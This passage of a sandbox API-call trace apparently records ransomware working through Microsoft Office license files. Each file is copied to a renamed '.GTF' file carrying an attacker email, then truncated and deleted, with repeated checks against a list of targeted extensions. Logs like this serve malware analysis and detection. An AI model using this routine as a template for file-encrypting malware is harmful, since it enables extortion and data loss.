	[0181.933] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.933] lstrlenW (lpString="O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 45
	[0181.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.934] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11671) returned 1
	[0181.934] CloseHandle (hObject=0x554) returned 1
	[0181.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0181.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.935] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.935] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0181.936] GetLastError () returned 0x0
	[0181.936] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0181.938] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0181.939] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.939] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x12e, lpOverlapped=0x0) returned 1
	[0181.939] SetEndOfFile (hFile=0x3dc) returned 1
	[0181.939] CloseHandle (hObject=0x3dc) returned 1
	[0181.939] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.940] SetEndOfFile (hFile=0x554) returned 1
	[0181.956] CloseHandle (hObject=0x554) returned 1
	[0181.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms")) returned 1
	[0181.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.957] lstrlenW (lpString=".doc") returned 4
	[0181.957] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.957] lstrlenW (lpString=".docx") returned 5
	[0181.957] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.957] lstrlenW (lpString=".pdf") returned 4
	[0181.957] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".xls") returned 4
	[0181.958] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".xlsx") returned 5
	[0181.958] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.958] lstrlenW (lpString=".ppt") returned 4
	[0181.958] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.958] lstrlenW (lpString=".zip") returned 4
	[0181.958] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".rar") returned 4
	[0181.958] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".bz2") returned 4
	[0181.958] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".7z") returned 3
	[0181.958] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.958] lstrlenW (lpString=".dbf") returned 4
	[0181.958] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.958] lstrlenW (lpString=".1cd") returned 4
	[0181.958] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.958] lstrlenW (lpString=".jpg") returned 4
	[0181.958] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.958] lstrlenW (lpString=".doc") returned 4
	[0181.958] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".docx") returned 5
	[0181.958] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.958] lstrlenW (lpString=".pdf") returned 4
	[0181.958] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".xls") returned 4
	[0181.958] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.958] lstrlenW (lpString=".xlsx") returned 5
	[0181.958] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.959] lstrlenW (lpString=".ppt") returned 4
	[0181.959] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.959] lstrlenW (lpString=".zip") returned 4
	[0181.959] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.959] lstrlenW (lpString=".rar") returned 4
	[0181.959] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.959] lstrlenW (lpString=".bz2") returned 4
	[0181.959] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.959] lstrlenW (lpString=".7z") returned 3
	[0181.959] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.959] lstrlenW (lpString=".dbf") returned 4
	[0181.959] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.959] lstrlenW (lpString=".1cd") returned 4
	[0181.959] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0181.959] lstrlenW (lpString=".jpg") returned 4
	[0181.959] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.959] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.959] lstrlenW (lpString="O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 37
	[0181.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.960] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11199) returned 1
	[0181.960] CloseHandle (hObject=0x554) returned 1
	[0181.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms")) returned 0x220
	[0181.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.960] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.960] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0181.961] GetLastError () returned 0x0
	[0181.961] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0182.330] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0182.331] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.331] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0182.331] SetEndOfFile (hFile=0x3dc) returned 1
	[0182.331] CloseHandle (hObject=0x3dc) returned 1
	[0182.331] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.331] SetEndOfFile (hFile=0x554) returned 1
	[0182.334] CloseHandle (hObject=0x554) returned 1
	[0182.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms")) returned 1
	[0182.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.336] lstrlenW (lpString=".doc") returned 4
	[0182.336] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString=".docx") returned 5
	[0182.336] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.336] lstrlenW (lpString=".pdf") returned 4
	[0182.336] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString=".xls") returned 4
	[0182.336] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString=".xlsx") returned 5
	[0182.336] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.336] lstrlenW (lpString=".ppt") returned 4
	[0182.336] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.336] lstrlenW (lpString=".zip") returned 4
	[0182.336] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString=".rar") returned 4
	[0182.336] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString=".bz2") returned 4
	[0182.336] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString=".7z") returned 3
	[0182.336] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.336] lstrlenW (lpString=".dbf") returned 4
	[0182.336] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.336] lstrlenW (lpString=".1cd") returned 4
	[0182.336] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.336] lstrlenW (lpString=".jpg") returned 4
	[0182.336] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.336] lstrlenW (lpString=".doc") returned 4
	[0182.336] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.336] lstrlenW (lpString=".docx") returned 5
	[0182.336] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.337] lstrlenW (lpString=".pdf") returned 4
	[0182.337] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString=".xls") returned 4
	[0182.337] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString=".xlsx") returned 5
	[0182.337] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.337] lstrlenW (lpString=".ppt") returned 4
	[0182.337] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.337] lstrlenW (lpString=".zip") returned 4
	[0182.337] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString=".rar") returned 4
	[0182.337] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString=".bz2") returned 4
	[0182.337] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString=".7z") returned 3
	[0182.337] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.337] lstrlenW (lpString=".dbf") returned 4
	[0182.337] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.337] lstrlenW (lpString=".1cd") returned 4
	[0182.337] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87
	[0182.337] lstrlenW (lpString=".jpg") returned 4
	[0182.337] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.337] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.337] lstrlenW (lpString="O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 38
	[0182.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.338] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23843) returned 1
	[0182.338] CloseHandle (hObject=0x554) returned 1
	[0182.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms")) returned 0x220
	[0182.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.339] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.339] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0182.340] GetLastError () returned 0x0
	[0182.340] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5d23, lpOverlapped=0x0) returned 1
	[0182.344] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5d30, lpOverlapped=0x0) returned 1
	[0182.345] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.345] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x120, lpOverlapped=0x0) returned 1
	[0182.345] SetEndOfFile (hFile=0x3dc) returned 1
	[0182.345] CloseHandle (hObject=0x3dc) returned 1
	[0182.346] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.346] SetEndOfFile (hFile=0x554) returned 1
	[0182.349] CloseHandle (hObject=0x554) returned 1
	[0182.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms")) returned 1
	[0182.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.350] lstrlenW (lpString=".doc") returned 4
	[0182.350] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.350] lstrlenW (lpString=".docx") returned 5
	[0182.350] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.350] lstrlenW (lpString=".pdf") returned 4
	[0182.350] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.350] lstrlenW (lpString=".xls") returned 4
	[0182.350] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.350] lstrlenW (lpString=".xlsx") returned 5
	[0182.350] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.350] lstrlenW (lpString=".ppt") returned 4
	[0182.350] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.350] lstrlenW (lpString=".zip") returned 4
	[0182.350] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.350] lstrlenW (lpString=".rar") returned 4
	[0182.351] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".bz2") returned 4
	[0182.351] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".7z") returned 3
	[0182.351] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.351] lstrlenW (lpString=".dbf") returned 4
	[0182.351] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.351] lstrlenW (lpString=".1cd") returned 4
	[0182.351] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.351] lstrlenW (lpString=".jpg") returned 4
	[0182.351] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.351] lstrlenW (lpString=".doc") returned 4
	[0182.351] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".docx") returned 5
	[0182.351] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.351] lstrlenW (lpString=".pdf") returned 4
